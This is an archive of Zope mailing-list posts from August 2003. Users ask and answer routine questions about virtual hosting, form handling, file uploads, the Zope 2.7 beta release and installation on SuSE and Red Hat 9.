-0400: > ... > I have a Zope server that is relayed through a portal set up like this: > > The web server is at www.me.com > Anything destined for the zope server will have a address of > www.me.com/zope/* > > OK, I actually have this part working 95% correctly. I've tried doing > this with an Apache Front end and virtual Hosting, and I've tried using > the ol SiteRoot Folder. Use a VHM (Virtual Host Monster). It is much easier (truely). > I've got both to work except, when I fill in a > typical form in manager, or plone, or whatever, it never saves the data. > I'm bewildered. > Examples: > I got into root properties under /manage, and change the title. I > hit the Save button, and it comes back to the root zope page. I surf up > to the properties page again, and no changes. no error either. Look at the HTML source of your form. Check the "action" in the form and, if it not absolute, see whether there is a "base" tag in the HTML head. Almost surely, the effective URL (as determined by the form action and (maybe) the base tag) is wrong and your modifications are done somewhere else. Dieter From ARechenberg at shermanfinancialgroup.com Tue Aug 26 17:36:23 2003 From: ARechenberg at shermanfinancialgroup.com (Rechenberg, Andrew) Date: Tue Aug 26 16:37:08 2003 Subject: [Zope] MemoryError: out of memory Message-ID: <8075D5C3061B9441944E137377645118012ED8@cinshrexc03.shermfin.com> I am receiving this Exception when running Zope with CMF/Plone. Here are the details of my system: Dell PE2650 Dual 2.8GHz Xeon 4GB RAM Zope 2.6.1 Python 2.1.3 Here is the text of the exception: Traceback (innermost last): Module ZPublisher.Publish, line 98, in publish Module ZPublisher.mapply, line 88, in mapply Module ZPublisher.Publish, line 39, in call_object Module Shared.DC.Scripts.Bindings, line 252, in __call__ Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec Module Products.PageTemplates.ZopePageTemplate, line 228, in _exec Module Products.PageTemplates.PageTemplate, line 96, in pt_render - Module StringIO, line 160, in getvalue MemoryError At the time of the exception the PythonService.exe was consuming 3984K of RAM and python.exe was consuming 125960K. I've checked Google and Zope.org for any related topics and have yet to find anything. Could someone please point me in the right direction on how correct this issue? Thanks, Andy. Andrew Rechenberg Infrastructure Team, Sherman Financial Group From bart at barthubbard.com Tue Aug 26 16:13:23 2003 From: bart at barthubbard.com (Bart Hubbard) Date: Tue Aug 26 16:41:14 2003 Subject: [Zope] Caching custom ZClasses Message-ID: <1061928803.3f4bbf63bdfba@webmail.barthubbard.com> Hello, I've created a set of custom ZClasses, and can't associate them with a cache manager. I see there isn't a baseclass available in the ZMI that corresponds to the 'Cacheable' class in 'cache.py' in the OFS directory of Zope. I suppose I could subclass another class that is cacheable, like DTML Document, but will that just cache the DTML Document portions of my class? I just want my ZClass to be cacheable, so ideas are welcome. much thanks, bart From chrism at zope.com Tue Aug 26 22:07:15 2003 From: chrism at zope.com (Chris McDonough) Date: Tue Aug 26 17:07:19 2003 Subject: [Zope] Zope 2.7.0b2 Released Message-ID: <1061931955.1521.3.camel@james> Zope 2.7.0 represents a concentration on software configuration and installation improvement over older versions. It requires Python 2.2.3. Zope 2.7.0b2 is the latest release in the 2.7 development series. You may download Zope 2.7.0b2 from Zope.org at http://zope.org/Products/Zope/2.7.0b2/2.7.0b2 Users should note that Python 2.2.3 is now the required platform. Experimental RPM release An experimental release of Zope RPMS accompany the 2.7.0b2 release. This RPM has been tested under Red Hat Linux 7.3, 8.0, and 9.0. Be aware that the Zope RPM requires the Python 2.2.3 RPM which may or may not be available for your particular platform. See http://www.python.org/2.2.3/rpms.html for more information. A Zope source RPM is also provided for those who choose (or need) to create their own RPM binaries. Particular features of interest in Zope 2.7.0: - DBTab integration (mounted databases for Zope). - New logging module support. - ./configure; make; make install installation from source - configuration-file-driven configuration - integration of ReStructuredText - OrderedFolder support - Many bugxfixes For more information on what is new in this release, see the CHANGES.txt and HISTORY.txt files for the release: - http://www.zope.org/Products/Zope/2.7.0b2/CHANGES.txt - http://www.zope.org/Products/Zope/2.7.0b2/HISTORY.txt For more information on the available Zope releases, guidance for selecting the right distribution and installation instructions, please see: http://www.zope.org/Documentation/Misc/InstallingZope.html From jccooper at jcameroncooper.com Tue Aug 26 19:20:16 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Tue Aug 26 19:20:28 2003 Subject: [Zope] using ExternalFile and Plone In-Reply-To: References: Message-ID: <3F4BEB30.4080103@jcameroncooper.com> > Does anyone have any experience using the ExternalFile product in > conjunction with Plone? I've successfully made some minor > modifications to it (added a few additional properties) and it works > fine through the management interface, however I need to allow my > users to upload new ExternalFiles without using the ZMI. > > What appears to be happening is that when attempting to access the > manage_addObjectViaGui() function while not in the ZMI zope gives me a > 404 error. Since it works fine through the ZMI I'm guessing this is a > permissions issue? > > I'd really appreciate any input or insights on this, it's a big part > of a co-op project I'm working on that's coming down to the wire. Probably your problem is that you're not using manage_addProduct. See the ZopeLabs recipe http://www.zopelabs.com/cookbook/1012279676 However, check out http://www.zope.org/Members/jeffsasmor/CMFOptions That'll give you a CMF-ized version, or help you CMF-ize ExternalFile if it doesn't do what you want. FWIW, CMF-izing a product is basically 1) creating a new type, so that it is integrated into the CMF factory/types machinery, and 2) creating the skins to support adding, editing, and display --jcc From jccooper at jcameroncooper.com Tue Aug 26 19:37:29 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Tue Aug 26 19:37:35 2003 Subject: [Zope] ids NameError In-Reply-To: References: Message-ID: <3F4BEF39.5070008@jcameroncooper.com> >I have a dtml form that itterates over the content of a >folder and displays a checkbox next to each of the files. >The form allows a user to select items to be deleted. If a >user does not select a check box I get the folloewing >error: > >Error Type: NameError >Error Value: global name 'ids' is not defined > >This only happens when a checkbox has not been selected. > >here is the form calling a method: > >
> >

> > >

> > When you do an HTTP POST or GET a form parameter is only sent for a checkbox if that checkbox is checked. Nothing is done if it is unchecked. Yes, this is a little silly, but we have to deal with it. In any case, you can never rely on a request from a web environment to be well-formed. You need to check in the destination script ('delete') for existence of 'ids', and do the appropriate thing if it does not exist. This may be as simple as:: if not ids: ids = [] Or maybe you have different logic if there's no contents. Since you're deleting from a list (presumably) you can probably just skip the whole part where you delete things. --jcc From jccooper at jcameroncooper.com Tue Aug 26 19:44:42 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Tue Aug 26 19:44:47 2003 Subject: [Zope] zpublisher instance In-Reply-To: References: Message-ID: <3F4BF0EA.9050901@jcameroncooper.com> >Just joined the list; be gentle with me! > >How do I reference a ZPublisher.HTTPRequest.FileUpload instance? > >I can see the content type and content length with REQUEST, so I know the >file is there. I also know that the FileUpload instance is a Python >file-like object. That's what I want because I want to read it. But, how >do I get to the thing? Is it part of the REQUEST object? > >I've tried using a script and an external method but no luck. > > Don't overthink it. It's just like you'd access any request parameter, save that it's a Python file-ish object. Say you did::
Then in 'blerg' (a Python script) you could say:: fileobj = REQUEST.somefile stringobj = REQUEST.sometext to get a handle on the parameters. (Or any of the other ways the REQUEST object allows access to request parameters.) The only difference is that one is a string and one is a FileUpload file-ish object. --jcc From jccooper at jcameroncooper.com Tue Aug 26 19:52:31 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Tue Aug 26 19:52:36 2003 Subject: [Zope] specializing folders In-Reply-To: References: Message-ID: <3F4BF2BF.1010108@jcameroncooper.com> >I have a portion of a site which originally consisted of a single folder >with content. In the reorganized site, this folder consists of a >collection of folders. For specificity, the structure looks like > > +--A--+--A1 > | > +--A2 > | > +--A3 > | > >Depending upon a parameter derivable from the HTTP_HOST name, I want >either A1, A2, A3, or ... to behave as if it were A to all the other >code in the site. Of course, A1,A2,... should be able to hold code and/or >data. > >I would have though that some sort of local use of a VHM and or SiteAccess >would allow this, but I've been unable to make it work. Any suggestions? >hints? > > You'll probably have to end up doing this yourself, but maybe one of these would work: http://zope.org/Members/TheJester/PortableHole http://zope.org/Members/andym/Rewriter http://zope.org/Members/astaubo/Redirector At least they can give you a pointer on how to do the sort of proxying you want. I never was able to get Rewriter or Redirector to work (which is why I wrote the v. simple MovedObject) but maybe you'll have better luck. If you do it yourself, you will probably make A an instance of your own product which extends folder but over-writes the appropriate methods (traversal and call and whatnot) to make something called on it actually use its contents. I have to say, naturally, that this seems like a very strange thing to do, and I half suspect that there's a different design that will make things easier. But I'm sure you have your reasons. --jcc From dshuang at travant.com Tue Aug 26 18:11:55 2003 From: dshuang at travant.com (Daniel Huang) Date: Tue Aug 26 20:10:49 2003 Subject: [Zope] dtml-calendar: cannot update existing entry Message-ID: <5.0.0.25.2.20030826170404.00ac8508@mail.travant.com> I'm following Jon Udell's tutorial (http://zope.org/Members/judell/CalendarTagExample) verbatim and have successfully created entries in the calendar (version 1.0.15) . However when I click on an existing entry and try to change the content, I get the following error: Error Type: Bad Request Error Value: Invalid or duplicate property id. Its happening in the editCalendarProperty code: /////////////// REQUEST = context.REQUEST if ( context.hasProperty(REQUEST['prop']) ): context.manage_changeProperties({ REQUEST['prop'] : REQUEST['propval'] }) else: context.manage_addProperty(REQUEST['prop'], REQUEST['propval'], 'string') return REQUEST.RESPONSE.redirect(REQUEST['BASE4']) //////////////// I think "context.hasProperty" always returns false and so it tries to add a duplicate property. But I dont see why. Has anyone run into the same issue? From allison at sumeru.stanford.EDU Tue Aug 26 18:11:00 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 20:11:28 2003 Subject: [Zope] Zope 2.7.0b1 Released In-Reply-To: <1058811144.1374.6.camel@james> Message-ID: Chris, 2.7b1 looks interesting. Will it work with Python 2.3 as well as 2.2.3? Also, can you give a handwaving estimate of compatibility problems with 2.6.2b3 and/or 2.6.2b5? From hancock at anansispaceworks.com Tue Aug 26 20:28:31 2003 From: hancock at anansispaceworks.com (Terry Hancock) Date: Tue Aug 26 20:25:22 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: <3F4BA600.7000803@nipltd.com> References: <3F496ED5.8040401@d-designz.co.nz> <3F4BA600.7000803@nipltd.com> Message-ID: On Tuesday 26 August 2003 01:25 pm, Chris Withers wrote: > Chris Beaven wrote: > >> I dare a tangent: there are a lot of gaps in my Zope education. I can > >> understand that Zope doesn't give access to os, for secur- > >> ity reasons, but why is re unavailable? > > It's pretty easy to write an re that will infitintely loop. So, view that page 4 > times and you have a totally hung Zope instance, no pretty ;-) Is 4 a magic number, or is that just a "for instance" 4 X? (i.e. does this mean there's some kind of default to handle 4 requests in separate threads before you run out?). I ask because I have run into bugs in product development that probably were infinite loops and got about that many myself. Cheers, Terry -- Terry Hancock ( hancock at anansispaceworks.com ) Anansi Spaceworks http://www.anansispaceworks.com From chrism at zope.com Wed Aug 27 01:42:53 2003 From: chrism at zope.com (Chris McDonough) Date: Tue Aug 26 20:42:55 2003 Subject: [Zope] Zope 2.7.0b1 Released In-Reply-To: References: Message-ID: <1061945099.3405.8.camel@athlon.dc.dc.cox.net> It might work with Python 2.3, but its target platform is currently 2.2.3. I think some folks are running it under 2.3 now. Compatibility issues will likely center around installation, configuration and startup. People are used to the "old-skool" Zope installation method ("python wo_pcgi.py") and configuration (via envvars). Neither works anymore. Installation is either via rpm, executable, or via "configure; make; make install". Configuration is performed via a apache-style config file instead of envvars. Startup is different inasmuch as there is no "z2.py" or "start" shell script; instead there's a zopectl script under UNIX and the system works as a service under Windows. Everything else should continue to work as it did under Zope 2.6.X (or continue to not work as the case may be ;-), difficulties imposed by the underlying Python revision differences notwithstanding. - C On Tue, 2003-08-26 at 20:11, Dennis Allison wrote: > Chris, > 2.7b1 looks interesting. Will it work with Python 2.3 as well as 2.2.3? > Also, can you give a handwaving estimate of compatibility problems with > 2.6.2b3 and/or 2.6.2b5? > > > From Jerry at Westrick.Com Wed Aug 27 02:20:47 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Tue Aug 26 21:20:50 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do Iuse? In-Reply-To: <9E17660F5CFE0F45BE50D766FC6C724603599D@Mail6.CC.Corp.com> References: <9E17660F5CFE0F45BE50D766FC6C724603599D@Mail6.CC.Corp.com> Message-ID: <1061947332.616.62.camel@jerry.westrick.local> Dear SuSE users... please look at the /usr/share/doc/packages/readme.suse this is the place where the SuSE packagers place comments on the way the've configured software for you.... The user name and password are listed there, along with the instructions to change it as soon as posible! Jerry Westrick. P.S. It's always a good idea to check the /usr/share/doc/packages/xxx dirs for a readme.suse file... (as noted in the description of the package when you loaded it with YAST2!) On Tue, 2003-08-26 at 20:59, Slack, Stephen wrote: > Hi Paul, > > I have set up 3 Suse 8.0 machines with Zope. One at my office and 2 at home (Sad, I know). Two of them I managed to connect straight to by setting up a new password with the zpasswd.py script in /opt/zope/utilities on Suse. The 3rd installation was a real bind. Nothing I did seemed to cure it. My final solution was to download the latest stable version of Zope, remove the original zope package with yast and reinstall the downloaded version. > > The installation was dead easy. As part of the process, Zope provides the admin user and passwd. Not an ideal solution.....but it was driving me up the wall and there did not seem to be many answers anywhere, just users with the same question! > > One positive side to this is that I have a machine at home running the most up-to-date version :-) Downside is that I lost the ability to "rczope start". Not a big problem as there is a start script in the Zope directory. If I ever get round to it, I will copy the rczope script from one of my other machines. > > Hope this helps. > > Stephen Slack > Senior System Developer > Allvac Ltd > > -----Original Message----- > From: paulporter@buffalotalks.com [mailto:paulporter@buffalotalks.com] > Sent: 21 August 2003 14:51 > To: zope@zope.org > Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password > do Iuse? > > > I've got Zope running but when I go to localhost:8080/manage I get a > dialogbox wanting a user name and password. I didn't know what it was > wanting so I created an "access" file using zpasswd.py but apparently it > doesn't see this file because when I enter the user name and password that > I put in the access file zope just regenerates the prompt dialogbox. > > I have made sure that I enter username/password exactly as found in the > access file, I've tried copying th access file into the zope directory, > that had no positive effect so I copied it into the zserver directory and > that had no positive effect either. > > Could some kind soul please tell me how to get into Zope? > > Thanks for any help that might be offered. > > Paul > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From chrism at zope.com Wed Aug 27 02:26:03 2003 From: chrism at zope.com (Chris McDonough) Date: Tue Aug 26 21:26:06 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do Iuse? In-Reply-To: <1061947332.616.62.camel@jerry.westrick.local> References: <9E17660F5CFE0F45BE50D766FC6C724603599D@Mail6.CC.Corp.com> <1061947332.616.62.camel@jerry.westrick.local> Message-ID: <1061947690.3405.29.camel@athlon.dc.dc.cox.net> FWIW, the Zope 2.7 RPMs that were just uploaded to Zope.org today as part of the 2.7b2 release take the approach of not creating an initial user. Instead, if you visit the quickstart page (by visiting the freshly installed Zope in a browser) and the system has no users installed, it will give you instructions about how to install one. The only thing that remains to be told to the user is the port number that Zope's running on. Haven't quite figured out how to do that yet. ;-) It would be nice if someone (Marcus, maybe?) were to "translate" the currently RedHat-centric 2.7 RPM spec file into something that worked equally under SuSE. Then maybe we can contribute the resulting spec files/SRPMs to SuSE and RedHat respectively for consideration in their distributions for the future. - C On Tue, 2003-08-26 at 21:22, Jerry Westrick wrote: > Dear SuSE users... > > please look at the /usr/share/doc/packages/readme.suse > this is the place where the SuSE packagers place comments on the way > the've configured software for you.... > > The user name and password are listed there, along with the instructions > to change it as soon as posible! > > > Jerry Westrick. > > P.S. It's always a good idea to check the /usr/share/doc/packages/xxx > dirs for a readme.suse file... (as noted in the description of the > package when you loaded it with YAST2!) > > > > > On Tue, 2003-08-26 at 20:59, Slack, Stephen wrote: > > Hi Paul, > > > > I have set up 3 Suse 8.0 machines with Zope. One at my office and 2 at home (Sad, I know). Two of them I managed to connect straight to by setting up a new password with the zpasswd.py script in /opt/zope/utilities on Suse. The 3rd installation was a real bind. Nothing I did seemed to cure it. My final solution was to download the latest stable version of Zope, remove the original zope package with yast and reinstall the downloaded version. > > > > The installation was dead easy. As part of the process, Zope provides the admin user and passwd. Not an ideal solution.....but it was driving me up the wall and there did not seem to be many answers anywhere, just users with the same question! > > > > One positive side to this is that I have a machine at home running the most up-to-date version :-) Downside is that I lost the ability to "rczope start". Not a big problem as there is a start script in the Zope directory. If I ever get round to it, I will copy the rczope script from one of my other machines. > > > > Hope this helps. > > > > Stephen Slack > > Senior System Developer > > Allvac Ltd > > > > -----Original Message----- > > From: paulporter@buffalotalks.com [mailto:paulporter@buffalotalks.com] > > Sent: 21 August 2003 14:51 > > To: zope@zope.org > > Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password > > do Iuse? > > > > > > I've got Zope running but when I go to localhost:8080/manage I get a > > dialogbox wanting a user name and password. I didn't know what it was > > wanting so I created an "access" file using zpasswd.py but apparently it > > doesn't see this file because when I enter the user name and password that > > I put in the access file zope just regenerates the prompt dialogbox. > > > > I have made sure that I enter username/password exactly as found in the > > access file, I've tried copying th access file into the zope directory, > > that had no positive effect so I copied it into the zserver directory and > > that had no positive effect either. > > > > Could some kind soul please tell me how to get into Zope? > > > > Thanks for any help that might be offered. > > > > Paul > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From allison at sumeru.stanford.EDU Tue Aug 26 21:07:49 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 23:08:18 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: <1061947690.3405.29.camel@athlon.dc.dc.cox.net> Message-ID: RH9 has been pretty much broken as a Zope host. How does 2.7 fare? From andreas at andreas-jung.com Wed Aug 27 06:17:23 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Tue Aug 26 23:17:38 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: References: Message-ID: <2147483647.1061961443@[192.168.0.100]> In my experience RH9 is only broken for installations that were upgraded from RH8 to RH9. Fresh RH9 installations run very fine with Python and Zope. I am running different versions of Zope with different versions of Python on a fresh RH9 installation without problems. -aj --On Dienstag, 26. August 2003 20:07 Uhr -0700 Dennis Allison wrote: > > RH9 has been pretty much broken as a Zope host. How does 2.7 fare? > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jens at zope.com Wed Aug 27 00:23:21 2003 From: jens at zope.com (Jens Vagelpohl) Date: Tue Aug 26 23:24:08 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: Message-ID: On Tuesday, Aug 26, 2003, at 23:07 US/Eastern, Dennis Allison wrote: > RH9 has been pretty much broken as a Zope host. How does 2.7 fare? there's nothing broken about RH9 after applying all latest updates. jens From allison at sumeru.stanford.EDU Tue Aug 26 21:56:08 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Tue Aug 26 23:56:29 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: Message-ID: On Tue, 26 Aug 2003, Jens Vagelpohl wrote (and Andreas Jung concurred): > > On Tuesday, Aug 26, 2003, at 23:07 US/Eastern, Dennis Allison wrote: > > RH9 has been pretty much broken as a Zope host. How does 2.7 fare? > > there's nothing broken about RH9 after applying all latest updates. > That may be true for your configurations, but with the configuration I am running (dual Athlons) I have had nothing but trouble. With the very latest updates, Zope 2.6.2b3 now seems stable running under Python 2.2. I am still fighting problems with the Pound front-end which is stable under RH7.3 but non-functional under RH9. Incidentally, my installation was clean followed by multiple upgrades via RHN to apply all the latest updates. From chrism at zope.com Wed Aug 27 05:03:56 2003 From: chrism at zope.com (Chris McDonough) Date: Wed Aug 27 00:06:23 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: References: Message-ID: <1061957163.3403.39.camel@athlon.dc.dc.cox.net> I haven't personally tested it under RH 9 (I'm still stuck on 7.3), but I've heard of success on RH9 for all Zope versions after applying the up2date updates. On Tue, 2003-08-26 at 23:07, Dennis Allison wrote: > RH9 has been pretty much broken as a Zope host. How does 2.7 fare? > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From dman at dman13.dyndns.org Wed Aug 27 01:13:51 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Wed Aug 27 00:14:02 2003 Subject: [Zope] 2.7.0-b2 install failure (setup.py defect, I think) Message-ID: <20030827041351.GA17616@dman13.dyndns.org> I've been using 2.7.0-b1 for a while, so I figured I'd take a look at b2 now. However : $ python2.3 setup.py install --prefix /usr/local/opt/zope-2.7.0-b2 running install running build running build_py running build_ext running install_lib running install_data running install running build running build_py running install_lib running install running build running build_scripts error: mkpath: 'name' must be a string (got None) $ The build succeeds but the install fails. Is something wrong on my system or has the setup.py script changed in some way? -D PS. This is on a debian testing/unstable system. PPS. You don't see any actions in the steps that didn't fail because they already completed successfully the first time. If you want to see more output I can clean out the build and run it again. -- In his heart a man plans his course, but the Lord determines his steps. Proverbs 16:9 http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030827/4248dc0c/attachment.bin From chrism at zope.com Wed Aug 27 05:55:44 2003 From: chrism at zope.com (Chris McDonough) Date: Wed Aug 27 00:55:46 2003 Subject: [Zope] 2.7.0-b2 install failure (setup.py defect, I think) In-Reply-To: <20030827041351.GA17616@dman13.dyndns.org> References: <20030827041351.GA17616@dman13.dyndns.org> Message-ID: <1061960271.10603.98.camel@athlon.dc.dc.cox.net> Derrick, I was able to replicate the problem. This is likely due to the custom "install scheme" imposed by Zope (to work around some distutils deficiences, ie. being unable to specify the "real" install directory in a x-platform way). I didn't dig into the underlying problem because your method of installation isn't really supported. But if you do the installation in the way explained in doc/INSTALL.txt, everything does work. ./configure --with-python=/some/python --prefix=/some/path make make install HTH, - C On Wed, 2003-08-27 at 00:13, Derrick 'dman' Hudson wrote: > I've been using 2.7.0-b1 for a while, so I figured I'd take a look at > b2 now. However : > > $ python2.3 setup.py install --prefix /usr/local/opt/zope-2.7.0-b2 > running install > running build > running build_py > running build_ext > running install_lib > running install_data > running install > running build > running build_py > running install_lib > running install > running build > running build_scripts > error: mkpath: 'name' must be a string (got None) > > $ > > The build succeeds but the install fails. Is something wrong on my > system or has the setup.py script changed in some way? > > -D > > PS. This is on a debian testing/unstable system. > > PPS. You don't see any actions in the steps that didn't fail because > they already completed successfully the first time. If you want > to see more output I can clean out the build and run it again. From allison at sumeru.stanford.EDU Tue Aug 26 22:56:33 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 27 00:57:05 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: <200308270359.h7R3xwiC021781@localhost.localdomain> Message-ID: Thanks, I'll take a look. On Wed, 27 Aug 2003, Anthony Baxter wrote: > > >>> Dennis Allison wrote > > That may be true for your configurations, but with the configuration I am > > running (dual Athlons) I have had nothing but trouble. With the very > > latest updates, Zope 2.6.2b3 now seems stable running under Python 2.2. I > > am still fighting problems with the Pound front-end which is stable under > > RH7.3 but non-functional under RH9. Incidentally, my installation was > > clean followed by multiple upgrades via RHN to apply all the latest > > updates. > > FWIW, pythodirector seems to work fine on RH9. Depending on what you're > using Pound for, it may be appropriate. > > http://pythondirector.sf.net/ > > Anthony > > -- > Anthony Baxter > It's never too late to have a happy childhood. > From rbickers-expires-1062566180.f30cd5 at logicetc.com Wed Aug 27 02:16:19 2003 From: rbickers-expires-1062566180.f30cd5 at logicetc.com (Ron Bickers) Date: Wed Aug 27 01:16:25 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: References: Message-ID: <3F4C3EA3.9030602@logicetc.com> On 08/26/2003 11:07 PM, Dennis Allison wrote: > RH9 has been pretty much broken as a Zope host. This is clearly not true as a general statement. I upgraded from 7.3 to 9 in early May. After applying kernel and glibc errata, Zope 2.6.x with the Python 2.1.3 RPMs from python.org has run flawlessly since. Many others have reported success as well. -- Ron Bickers Logic Etc, Inc. From gnanadurai_moses at yahoo.com Wed Aug 27 04:15:57 2003 From: gnanadurai_moses at yahoo.com (Gnanadurai Moses) Date: Wed Aug 27 06:16:33 2003 Subject: [Zope] sub:How to use the COMObject Product Message-ID: <20030827101557.81293.qmail@web41905.mail.yahoo.com> Hi EveryBody, Can any body tell me how to use the COMObject Product. I have successfully installed the Product and solved the problem of multithreading. I'am able to connect to the COM Object. I want to create excel file from the data in zope server and upload it to a folder in zope. I don't know how to call the methods in excel. To be more specific.. how to create a new Workbook.. How to load data to a sheet... I tried xlApp.Workbooks.Add() , It doesn't work. Thanks in Advance... regards, Gnanadurai --------------------------------- Do you Yahoo!? The New Yahoo! Search - Faster. Easier. Bingo. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030827/cff8b387/attachment.htm From jens at zope.com Wed Aug 27 08:45:02 2003 From: jens at zope.com (Jens Vagelpohl) Date: Wed Aug 27 07:44:51 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: Message-ID: > That may be true for your configurations, but with the configuration I > am > running (dual Athlons) I have had nothing but trouble. With the very > latest updates, Zope 2.6.2b3 now seems stable running under Python > 2.2. I > am still fighting problems with the Pound front-end which is stable > under > RH7.3 but non-functional under RH9. Incidentally, my installation was > clean followed by multiple upgrades via RHN to apply all the latest > updates. I personally never had much luck with dual Athlon systems, so much so that I will refuse to buy them for any professional work. The same holds mostly true for self-built servers in general. I have extensive experience running very large Zope/ZEO deployments and would never buy anything but Intel-based servers from brand-name manufacturers anymore. jens From Jerry at Westrick.Com Wed Aug 27 13:11:25 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Wed Aug 27 08:11:27 2003 Subject: [Zope] sub:How to use the COMObject Product In-Reply-To: <20030827101557.81293.qmail@web41905.mail.yahoo.com> References: <20030827101557.81293.qmail@web41905.mail.yahoo.com> Message-ID: <1061985661.616.69.camel@jerry.westrick.local> THe only lace I've seen documentation on how to controll excel via COM, is in the VBA (Visual Basic For Applications) That's where I look when I do COM stuff.... Jerry Westrick On Wed, 2003-08-27 at 12:15, Gnanadurai Moses wrote: > Hi EveryBody, > Can any body tell me how to use the COMObject Product. > I have successfully installed the Product and solved the > problem of multithreading. I'am able to connect to the COM Object. > I want to create excel file from the data in zope server and > upload it to a folder in zope. > I don't know how to call the methods in excel. > To be more specific.. how to create a new Workbook.. > How to load data to a sheet... > I tried xlApp.Workbooks.Add() , It doesn't work. > Thanks in Advance... > regards, > Gnanadurai > > > > ______________________________________________________________________ > Do you Yahoo!? > The New Yahoo! Search - Faster. Easier. Bingo. > > ______________________________________________________________________ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From chrisw at nipltd.com Wed Aug 27 14:53:43 2003 From: chrisw at nipltd.com (Chris Withers) Date: Wed Aug 27 08:51:28 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? References: <3F496ED5.8040401@d-designz.co.nz> <3F4BA600.7000803@nipltd.com> Message-ID: <3F4CA9D7.3020705@nipltd.com> Terry Hancock wrote: > Is 4 a magic number, or is that just a "for instance" 4 X? > (i.e. does this mean there's some kind of default to handle 4 requests > in separate threads before you run out?). Yup, not 100% on the number, but it's something like that... cheers, Chris From jean at upfrontsystems.co.za Wed Aug 27 16:46:32 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Wed Aug 27 09:47:18 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: <3F4CA9D7.3020705@nipltd.com> References: <3F496ED5.8040401@d-designz.co.nz> <3F4BA600.7000803@nipltd.com> <3F4CA9D7.3020705@nipltd.com> Message-ID: <3F4CB638.3090301@upfrontsystems.co.za> >> Is 4 a magic number, or is that just a "for instance" 4 X? It's the default number of threads, look for NUMBER_OF_THREADS in '/z2.py' -- Jean Jordaan http://www.upfrontsystems.co.za From Jerry at Westrick.Com Wed Aug 27 14:51:08 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Wed Aug 27 09:51:34 2003 Subject: [Zope] Updating files in the LocalFS? Message-ID: <1061990677.616.78.camel@jerry.westrick.local> Does anybody know how to update the file contents of a file stored in the LocalFS package? I've tried reading the source, and thought I found a save() method, but I get an Attribute error when I try using it on a file. Jerry From declanshanaghy at yahoo.com Tue Aug 26 13:30:09 2003 From: declanshanaghy at yahoo.com (Declan Shanaghy) Date: Wed Aug 27 09:53:35 2003 Subject: [Zope] Zope on SuSE 8.2 -- What initial user name and password do Iuse? In-Reply-To: <9E17660F5CFE0F45BE50D766FC6C724603599D@Mail6.CC.Corp.com> Message-ID: <20030826193009.76380.qmail@web80403.mail.yahoo.com> you can run ./install in zope root to reinstall the admin 